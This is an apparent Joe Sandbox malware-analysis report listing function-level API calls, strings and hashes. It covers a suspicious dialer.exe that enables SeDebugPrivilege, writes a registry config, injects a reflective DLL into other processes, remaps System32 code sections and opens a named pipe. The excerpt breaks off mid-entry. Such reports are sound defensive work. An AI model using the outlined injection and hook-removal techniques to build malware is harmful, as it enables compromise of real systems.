Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: 35316632211740DAE718DB5AE844BD977A8F368B98F568494BF5A0778CEF3AC941C708

Function 000001160CA22058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 000001160CA220D7
WriteFile.KERNEL32 ref: 000001160CA2239F
WriteFile.KERNEL32 ref: 000001160CA223E5
GetLastError.KERNEL32 ref: 000001160CA2249B

Memory Dump Source

Source File: 0000001F.00000002.3415224759.000001160CA10000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1160ca10000_dwm.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction ID: 8d24d1c379ff5b064a00ca85a71021c8e834ae956c23c3106a98b4ba8d6802d4
Opcode Fuzzy Hash: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction Fuzzy Hash: C3D1F172714B9089E719CFAAD4503DC3BB1F3587A8F008256EF5A97B9DDA36C886C340

Function 000001160CA114A4 Relevance: 6.3, APIs: 5, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001160CA114C5
HeapFree.KERNEL32 ref: 000001160CA114D4
GetProcessHeap.KERNEL32 ref: 000001160CA114E1
HeapFree.KERNEL32 ref: 000001160CA114F0
GetProcessHeap.KERNEL32 ref: 000001160CA11500

Memory Dump Source

Source File: 0000001F.00000002.3415224759.000001160CA10000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1160ca10000_dwm.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: 57ec4baa428d3a80e79e8f3b815539f76c7f0782526738c577e62bebd88a5cdf
Instruction ID: a3043cd912496fb9cf00b2b0c11219ccbd7e8c2f02d13331619f4e360109a67b
Opcode Fuzzy Hash: 57ec4baa428d3a80e79e8f3b815539f76c7f0782526738c577e62bebd88a5cdf
Instruction Fuzzy Hash: CD012532602FA0C6E708DB6BA9142CAA7A0F78CF81F084425FF4A43729DE39D8918740

Function 000001160CA22980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 000001160CA22A9C
GetLastError.KERNEL32 ref: 000001160CA22B27

Memory Dump Source

Source File: 0000001F.00000002.3415224759.000001160CA10000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1160ca10000_dwm.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction ID: 37e265badc22bf542196fdd943f68fcf59ce937976325ab88c9d13ff92c57310
Opcode Fuzzy Hash: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction Fuzzy Hash: C691B37270076485F7689F6E94603ED2BA0B75CBA8F144289FF0A57A9DDB36C8C2C700

Function 000001160CA17960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 000001160CA1798C
GetCurrentThreadId.KERNEL32 ref: 000001160CA1799A
GetCurrentProcessId.KERNEL32 ref: 000001160CA179A6
QueryPerformanceCounter.KERNEL32 ref: 000001160CA179B6

Memory Dump Source

Source File: 0000001F.00000002.3415224759.000001160CA10000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1160ca10000_dwm.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction ID: b3e2e8b3ee01e900106f8fb1ff11970b5bded7ad225184f936041eabba14970d
Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction Fuzzy Hash: 4F111836711F018AEB008B65E8643E833A4F71D758F441E21FF6D867A8DB79D5988380

Function 000001160CA1253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000001160CA12620
StrCpyW.SHLWAPI ref: 000001160CA12639

Strings

\\.\pipe\, xrefs: 000001160CA1262B

Memory Dump Source

Source File: 0000001F.00000002.3415224759.000001160CA10000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1160ca10000_dwm.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction ID: 882358c39291f2af5a493082e9d1eab477af66771de1d0ea3171835649493e7c
Opcode Fuzzy Hash: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction Fuzzy Hash: EF71B436200B8186EB2DDF2EA8543EA6794F38DB84F550266FF0953B9DDE36C685C700

Function 000001160C9E9E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 000001160C9E9EB7

Strings

MOC, xrefs: 000001160C9E9E7C
RCC, xrefs: 000001160C9E9E85

Memory Dump Source

Source File: 0000001F.00000002.3415177632.000001160C9E0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001160C9E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1160c9e0000_dwm.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: eb3fe4af68b8d01bc1b6c7a3ad90ad3afe4d69aaa56d732ad9d0e1b070ac0d9f
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: FF617A33A00B84CAEB28DF65D4803DD7BA0F768B88F054655EF4917B99EB3AD595C700

Function 000001160CA12330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000001160CA12416
StrCpyW.SHLWAPI ref: 000001160CA1242D

Strings

\\.\pipe\, xrefs: 000001160CA12421

Memory Dump Source

Source File: 0000001F.00000002.3415224759.000001160CA10000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1160ca10000_dwm.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction ID: 0dd3096737f7cf84e0afb6c78436224c8bd63104462fa8f98e8db59649f6874d
Opcode Fuzzy Hash: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction Fuzzy Hash: EC51C47220478185E77C9E2EA4983EA6B91F38D790F450265FF5A03B9DDA3FC984C740

Function 000001160CA226F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 000001160CA22807
GetLastError.KERNEL32 ref: 000001160CA22829

Strings

U, xrefs: 000001160CA227B3

Memory Dump Source

Source File: 0000001F.00000002.3415224759.000001160CA10000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1160ca10000_dwm.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction ID: 7ec0ab3bc4456a239118220442b5b89ef32dd75cdd716ed4bea875251d6f3c28
Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction Fuzzy Hash: AD41A272619B9086DB248F2AE8543E9A7A0F79C794F404121FF4D87798DB3DC881C740

Function 000001160CA194A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 000001160CA194F0
RaiseException.KERNEL32 ref: 000001160CA19531

Strings

csm, xrefs: 000001160CA1951E

Memory Dump Source

Source File: 0000001F.00000002.3415224759.000001160CA10000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1160ca10000_dwm.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction ID: 55f76451f0a00aa76711e93bf972c8125f1d92d3f77d6b161e8a3b47fd2d8d2e
Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction Fuzzy Hash: 2C112B36615B8082EB658F29E45439A77E5F78CB94F584260EF8C07758DF3DC995CB00

Function 000001160C9E7356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000001160C9E737C

Strings

ierarchy Descriptor', xrefs: 000001160C9E7381
riptor at (, xrefs: 000001160C9E7364

Memory Dump Source

Source File: 0000001F.00000002.3415177632.000001160C9E0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001160C9E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1160c9e0000_dwm.jbxd

Similarity

API ID: __std_exception_copy
String ID: ierarchy Descriptor'$riptor at (
API String ID: 592178966-758928094
Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction ID: 3f64ac4d0f423de6435d930bc6e48a03b4d3f4bc5a50e10074d9c9cf33aa7e29
Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction Fuzzy Hash: 70E08671640B4494DF098F62E8402D833A0EB6CB64F899122AA5C06355FA38D1EAC300

Function 000001160C9E73B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000001160C9E73D8

Strings

Locator', xrefs: 000001160C9E73DD
riptor at (, xrefs: 000001160C9E73C0

Memory Dump Source

Source File: 0000001F.00000002.3415177632.000001160C9E0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001160C9E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1160c9e0000_dwm.jbxd

Similarity

API ID: __std_exception_copy
String ID: Locator'$riptor at (
API String ID: 592178966-4215709766
Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction ID: 3d9f1cadf2d574a733be8525cb7cdf29bcd32cd4cbcf8627c331bc1aac329539
Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction Fuzzy Hash: 68E08671640B4484DF098F61D8401D87360E76CB54BC99122EA4C06355FA38D1E5C300

Function 000001160CA11BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001160CA11C2D
HeapAlloc.KERNEL32 ref: 000001160CA11C3B
GetProcessHeap.KERNEL32 ref: 000001160CA11C77
HeapFree.KERNEL32 ref: 000001160CA11C85

Part of subcall function 000001160CA1152C: StrCmpIW.SHLWAPI ref: 000001160CA1155D

Memory Dump Source

Source File: 0000001F.00000002.3415224759.000001160CA10000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1160ca10000_dwm.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction ID: 1fee924ccb90c0c3256cfe4e1177e9c659f148ef3ba26ee114369a7c0e31a1e3
Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction Fuzzy Hash: 60114F35602F9481EB58DB6BA4142E977A1FB8DFD0F184168EF4D5776ADE3AD882C300

Function 000001160CA11268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001160CA1126E
HeapAlloc.KERNEL32 ref: 000001160CA1127D
GetProcessHeap.KERNEL32 ref: 000001160CA11297
HeapAlloc.KERNEL32 ref: 000001160CA112A8

Memory Dump Source

Source File: 0000001F.00000002.3415224759.000001160CA10000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1160ca10000_dwm.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction ID: df6e12ff08372931fb7b06907e266d9e84ad481713e3d1ea27beb58647def250
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: 70E03935602B1486EB088B67D82838A36E1EB8DB06F0480249F0907355DF7E98D9CB50

Analysis Process: dialer.exePID: 7120, Parent PID: 7064COMMON

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 000000014000226C Relevance: 61.4, APIs: 27, Strings: 8, Instructions: 165
registrymemorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140001F2C: StrCpyW.SHLWAPI ref: 0000000140001F5D
Part of subcall function 0000000140001F2C: StrCatW.SHLWAPI ref: 0000000140001F6B
Part of subcall function 0000000140001F2C: GetModuleHandleW.KERNEL32 ref: 0000000140001F74
Part of subcall function 0000000140001F2C: GetCurrentProcess.KERNEL32 ref: 0000000140001F94
Part of subcall function 0000000140001F2C: K32GetModuleInformation.KERNEL32 ref: 0000000140001FA8
Part of subcall function 0000000140001F2C: CreateFileW.KERNELBASE ref: 0000000140001FD8
Part of subcall function 0000000140001F2C: CreateFileMappingW.KERNELBASE ref: 0000000140002002
Part of subcall function 0000000140001F2C: MapViewOfFile.KERNELBASE ref: 0000000140002025
Part of subcall function 0000000140001F2C: lstrcmpiA.KERNEL32 ref: 000000014000207B
Part of subcall function 0000000140001F2C: CloseHandle.KERNELBASE ref: 00000001400020E7
Part of subcall function 0000000140001F2C: CloseHandle.KERNEL32 ref: 00000001400020F0
Part of subcall function 0000000140001F2C: FreeLibrary.KERNEL32 ref: 00000001400020F9

Part of subcall function 0000000140001F2C: VirtualProtect.KERNELBASE ref: 00000001400020AE
Part of subcall function 0000000140001F2C: VirtualProtect.KERNELBASE ref: 00000001400020DE

GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000228F
OpenProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000229F
OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 00000001400022B9
LookupPrivilegeValueW.ADVAPI32 ref: 00000001400022D0
AdjustTokenPrivileges.KERNELBASE ref: 0000000140002308
GetLastError.KERNEL32 ref: 0000000140002312
CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000231B
FindResourceExA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000232F
SizeofResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140002346
LoadResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000235F
LockResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140002371
GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000237E
RegCreateKeyExW.KERNELBASE ref: 00000001400023BE
ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32 ref: 00000001400023E5
RegSetKeySecurity.KERNELBASE ref: 00000001400023FE
LocalFree.KERNEL32 ref: 0000000140002408
RegCreateKeyExW.KERNELBASE ref: 000000014000243E
GetCurrentProcessId.KERNEL32 ref: 0000000140002448
RegSetValueExW.KERNELBASE ref: 000000014000246F
RegCloseKey.KERNELBASE ref: 0000000140002479
RegCloseKey.ADVAPI32 ref: 0000000140002483
CreateThread.KERNELBASE ref: 00000001400024A4
GetProcessHeap.KERNEL32 ref: 00000001400024AA
HeapAlloc.KERNEL32 ref: 00000001400024B9
CreateThread.KERNELBASE ref: 00000001400024E8
CreateThread.KERNELBASE ref: 0000000140002509
SleepEx.KERNELBASE ref: 0000000140002511

Strings

kernel32.dll, xrefs: 0000000140002283
svc64, xrefs: 0000000140002452
ntdll.dll, xrefs: 0000000140002277
DLL, xrefs: 0000000140002321
D:(A;OICI;GA;;;AU)(A;OICI;GA;;;BA), xrefs: 00000001400023DE
SOFTWARE\dialerconfig, xrefs: 0000000140002399
SeDebugPrivilege, xrefs: 00000001400022C9
pid, xrefs: 000000014000241B

Memory Dump Source

Source File: 0000002A.00000002.3359603853.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002A.00000002.3359315944.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.3360010625.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.3360385903.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_140000000_dialer.jbxd

Similarity

API ID: CreateProcess$Close$CurrentHandleResource$FileSecurityThread$DescriptorFreeHeapModuleOpenProtectTokenValueVirtual$AdjustAllocConvertErrorFindInformationLastLibraryLoadLocalLockLookupMappingPrivilegePrivilegesSizeofSleepStringViewlstrcmpi
String ID: D:(A;OICI;GA;;;AU)(A;OICI;GA;;;BA)$DLL$SOFTWARE\dialerconfig$SeDebugPrivilege$kernel32.dll$ntdll.dll$pid$svc64
API String ID: 4177739653-1130149537
Opcode ID: d90b24f95a95c841a2e029a5b4d6274d008a65fb61feaf57b7d2a555975f1ca1
Instruction ID: c2e61514e361dd61edc66d1a85693de1d2c237bf329a5b31df93bef4cff25afe
Opcode Fuzzy Hash: d90b24f95a95c841a2e029a5b4d6274d008a65fb61feaf57b7d2a555975f1ca1
Instruction Fuzzy Hash: B781E4B6200B4196EB26CF62F8547D977A9F78CBD8F44512AEB4A43A78DF38C148C740

Function 00000001400010C0 Relevance: 51.0, APIs: 25, Strings: 4, Instructions: 257
memorystringnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000001400018AC: OpenProcess.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018CA
Part of subcall function 00000001400018AC: IsWow64Process.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018E0
Part of subcall function 00000001400018AC: CloseHandle.KERNELBASE(?,?,?,000000014000110E), ref: 00000001400018FB

OpenProcess.KERNEL32 ref: 000000014000112C
OpenProcess.KERNEL32 ref: 000000014000114B
K32GetModuleFileNameExW.KERNEL32 ref: 0000000140001170
PathFindFileNameW.SHLWAPI ref: 000000014000117E
lstrlenW.KERNEL32 ref: 000000014000118A
StrCpyW.SHLWAPI ref: 00000001400011A1
CloseHandle.KERNEL32 ref: 00000001400011AD
StrCmpIW.SHLWAPI ref: 00000001400011E2
NtQueryInformationProcess.NTDLL ref: 0000000140001216
OpenProcessToken.ADVAPI32 ref: 0000000140001240
GetTokenInformation.KERNELBASE ref: 000000014000126C
GetLastError.KERNEL32 ref: 0000000140001276
LocalAlloc.KERNEL32 ref: 0000000140001289
GetTokenInformation.KERNELBASE ref: 00000001400012B5
GetSidSubAuthorityCount.ADVAPI32 ref: 00000001400012C2
GetSidSubAuthority.ADVAPI32 ref: 00000001400012D1
LocalFree.KERNEL32 ref: 00000001400012E9
CloseHandle.KERNEL32 ref: 00000001400012FD
StrStrA.SHLWAPI ref: 00000001400013A7
VirtualAllocEx.KERNELBASE ref: 000000014000140E
WriteProcessMemory.KERNELBASE ref: 0000000140001431
WaitForSingleObject.KERNEL32 ref: 000000014000147D
GetExitCodeThread.KERNEL32 ref: 0000000140001493
CloseHandle.KERNELBASE ref: 00000001400014AB
CloseHandle.KERNEL32 ref: 00000001400014B4

Strings

dialer.exe, xrefs: 00000001400011CC
MSBuild.exe, xrefs: 00000001400011B8
ReflectiveDllMain, xrefs: 000000014000139D
@, xrefs: 0000000140001401

Memory Dump Source

Source File: 0000002A.00000002.3359603853.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002A.00000002.3359315944.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.3360010625.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.3360385903.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_140000000_dialer.jbxd

Similarity

API ID: Process$CloseHandle$Open$InformationToken$AllocAuthorityFileLocalName$CodeCountErrorExitFindFreeLastMemoryModuleObjectPathQuerySingleThreadVirtualWaitWow64Writelstrlen
String ID: @$MSBuild.exe$ReflectiveDllMain$dialer.exe
API String ID: 2561231171-3753927220
Opcode ID: 0577da8a6dab89cee6e9ad54b472e69925a8a9fa9a84297e512ce95199d2773e
Instruction ID: 2175fd9260984ecd3e092ef955109d5d50fbfcc0bf213717558b1eb8b1c9701c
Opcode Fuzzy Hash: 0577da8a6dab89cee6e9ad54b472e69925a8a9fa9a84297e512ce95199d2773e
Instruction Fuzzy Hash: 40B138B260468186EB26DF27F8947E927A9FB8CBC4F404125AF4A477B4EF38C645C740

Function 00000001400014D8 Relevance: 19.6, APIs: 13, Instructions: 130
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000000014000150B
HeapAlloc.KERNEL32 ref: 000000014000151E
GetProcessHeap.KERNEL32 ref: 000000014000152C
HeapAlloc.KERNEL32 ref: 000000014000153D
K32EnumProcesses.KERNEL32 ref: 0000000140001557
OpenProcess.KERNEL32 ref: 0000000140001585
K32EnumProcessModules.KERNEL32 ref: 00000001400015AA
ReadProcessMemory.KERNELBASE ref: 00000001400015E1
CloseHandle.KERNELBASE ref: 000000014000161D
GetProcessHeap.KERNEL32 ref: 000000014000162F
RtlFreeHeap.NTDLL ref: 000000014000163D
GetProcessHeap.KERNEL32 ref: 0000000140001643
RtlFreeHeap.NTDLL ref: 0000000140001651

Memory Dump Source

Source File: 0000002A.00000002.3359603853.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002A.00000002.3359315944.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.3360010625.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.3360385903.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_140000000_dialer.jbxd

Similarity

API ID: Heap$Process$AllocEnumFree$CloseHandleMemoryModulesOpenProcessesRead
String ID:
API String ID: 4084875642-0
Opcode ID: 3ba232721d1513b5cedada72c6e24bd118260bd52d62463099d565cdd5ea385d
Instruction ID: 4858e5a3d965c592fcd1f5951e26bd94c88d4916acf90710a0b336d1aa1e032e
Opcode Fuzzy Hash: 3ba232721d1513b5cedada72c6e24bd118260bd52d62463099d565cdd5ea385d
Instruction Fuzzy Hash: E6519DB2711A819AEB66CF63E8587EA22A5F78DBC4F444025EF4947764DF38C545C700

Function 0000000140001F2C Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 124
filememorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCpyW.SHLWAPI ref: 0000000140001F5D
StrCatW.SHLWAPI ref: 0000000140001F6B
GetModuleHandleW.KERNEL32 ref: 0000000140001F74
GetCurrentProcess.KERNEL32 ref: 0000000140001F94
K32GetModuleInformation.KERNEL32 ref: 0000000140001FA8
CreateFileW.KERNELBASE ref: 0000000140001FD8
CreateFileMappingW.KERNELBASE ref: 0000000140002002
MapViewOfFile.KERNELBASE ref: 0000000140002025
lstrcmpiA.KERNEL32 ref: 000000014000207B
VirtualProtect.KERNELBASE ref: 00000001400020AE
VirtualProtect.KERNELBASE ref: 00000001400020DE
CloseHandle.KERNELBASE ref: 00000001400020E7
CloseHandle.KERNEL32 ref: 00000001400020F0
FreeLibrary.KERNEL32 ref: 00000001400020F9

Strings

C:\Windows\System32\, xrefs: 0000000140001F4F
.text, xrefs: 0000000140002074

Memory Dump Source

Source File: 0000002A.00000002.3359603853.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002A.00000002.3359315944.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.3360010625.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.3360385903.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_140000000_dialer.jbxd

Similarity

API ID: FileHandle$CloseCreateModuleProtectVirtual$CurrentFreeInformationLibraryMappingProcessViewlstrcmpi
String ID: .text$C:\Windows\System32\
API String ID: 2721474350-832442975
Opcode ID: ea51ffa9aeaeb0e2cf226d8574d2fabd87300f6e212f2c78447215b36c46b769
Instruction ID: 0b364bd3c89a37fdd3fa7b369e4888cbeb1e5b170dc00cf86e963973e9165d3d
Opcode Fuzzy Hash: ea51ffa9aeaeb0e2cf226d8574d2fabd87300f6e212f2c78447215b36c46b769
Instruction Fuzzy Hash: CC518BB2204B8096EB62CF16F8587DAB3A5F78CBD4F444525AF4A03B68DF38C549C700

Function 0000000140002BF8 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 40
sleepfilepipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140001B54: AllocateAndInitializeSid.ADVAPI32 ref: 0000000140001BA3
Part of subcall function 0000000140001B54: SetEntriesInAclW.ADVAPI32 ref: 0000000140001BEB
Part of subcall function 0000000140001B54: LocalAlloc.KERNEL32 ref: 0000000140001BFB
Part of subcall function 0000000140001B54: InitializeSecurityDescriptor.ADVAPI32 ref: 0000000140001C0F
Part of subcall function 0000000140001B54: SetSecurityDescriptorDacl.ADVAPI32 ref: 0000000140001C26
Part of subcall function 0000000140001B54: CreateNamedPipeW.KERNELBASE ref: 0000000140001C67

Sleep.KERNEL32 ref: 0000000140002C1D
ConnectNamedPipe.KERNELBASE ref: 0000000140002C2A
ReadFile.KERNELBASE ref: 0000000140002C4D
WriteFile.KERNEL32 ref: 0000000140002C7B
Sleep.KERNEL32 ref: 0000000140002C88
DisconnectNamedPipe.KERNELBASE ref: 0000000140002C91

Strings

\\.\pipe\dialerchildproc64, xrefs: 0000000140002C05
M, xrefs: 0000000140002C6E

Memory Dump Source

Source File: 0000002A.00000002.3359603853.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002A.00000002.3359315944.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.3360010625.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.3360385903.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_140000000_dialer.jbxd

Similarity

API ID: NamedPipe$DescriptorFileInitializeSecuritySleep$AllocAllocateConnectCreateDaclDisconnectEntriesLocalReadWrite
String ID: M$\\.\pipe\dialerchildproc64
API String ID: 2203880229-3489460547
Opcode ID: 180580de56f56ab00dd4d516fca46f959342e05f281243e0c5337f45e18aa23b
Instruction ID: 6dc3dc8c0bd617ca7cbe615ebfcb02ed857a87361961821bc60a1768ee808972
Opcode Fuzzy Hash: 180580de56f56ab00dd4d516fca46f959342e05f281243e0c5337f45e18aa23b
Instruction Fuzzy Hash: C01139B1218A8492F716DB22F8047EE6764A78DBE0F444225BB66036F4DF7CC548C700

Function 00000001400021D0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36
sleeppipefileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

